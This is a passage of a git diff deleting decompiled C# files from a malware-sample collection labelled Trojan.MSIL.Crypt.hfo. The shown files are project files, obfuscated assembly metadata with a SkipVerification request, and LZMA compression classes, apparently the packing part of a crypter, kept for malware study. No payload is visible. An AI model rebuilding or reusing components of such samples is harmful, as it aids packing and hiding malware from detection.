P4RCRYPT - 1.5.0.1 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index a7271d81..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P4RCRYPT", "Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.csproj", "{C10367FA-02E3-4B6D-85E9-9A912EFAD193}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C10367FA-02E3-4B6D-85E9-9A912EFAD193}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C10367FA-02E3-4B6D-85E9-9A912EFAD193}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C10367FA-02E3-4B6D-85E9-9A912EFAD193}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C10367FA-02E3-4B6D-85E9-9A912EFAD193}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/AssemblyInfo.cs deleted file mode 100644 index 5f7ecf72..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("Cc6d7LQy")] -[assembly: AssemblyTrademark("s6R2Jbm5C")] -[assembly: AssemblyCopyright("Di5f2T6X")] -[assembly: AssemblyProduct("Mj5e3J7Pf")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("Hy39TqDk2")] -[assembly: AssemblyTitle("To6n5G7HdS")] -[assembly: AssemblyFileVersion("6.4.3.2")] -[assembly: AssemblyVersion("4.7.6.1")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/InBuffer.cs deleted file mode 100644 index 74be4df0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/OutBuffer.cs deleted file mode 100644 index 0bbc3b8c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CRC.cs deleted file mode 100644 index bed96670..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CoderPropID.cs deleted file mode 100644 index e470ed2e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/BinTree.cs deleted file mode 100644 index 1749bc54..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 2dc1ee81..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index 3eef6b80..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/InWindow.cs deleted file mode 100644 index cb07cfcf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - 